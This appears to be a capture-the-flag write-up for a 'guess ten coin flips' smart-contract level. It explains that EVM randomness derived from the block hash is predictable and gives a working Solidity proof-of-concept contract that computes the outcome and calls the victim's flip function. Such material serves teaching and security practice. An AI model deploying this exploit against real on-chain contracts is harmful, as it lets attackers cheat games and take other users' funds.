Topic requirements: Guess the result of 10 coin tosses in a row
Analysis of the meaning of the topic:
The key point of this question is the following sentence
Obviously, the focus of this question is how to use the inherent defects of random number generation in EVM
We need to understand that due to the consensus mechanism of all nodes in the blockchain network, the pseudo-random numbers based on EVM itself can be predicted under certain conditions (the oracle problem is not considered here)
Then the logic of this question is very clear:
If blockvalue≥FACTOR, then side takes true, and our _guess should also take true at this time
If blockvalue < FACTOR, then side takes false, and our _guess should also take false at this time
Call the flip function 10 times in a row to pass the level
The following is the POC contract of this question
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
contract POC {
using SafeMath for uint256;
address public victim;
function setVictim(address victim_) public {
victim = victim_;
}
function flip_attack() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 coinFlip = blockValue.div(FACTOR);
bool guess = coinFlip == 1 ? true : false;
(bool success,) = victim.call(abi.encodeWithSignature("flip(bool)",guess));
require(success==true, "call CoinFlip:flip failed");
}
}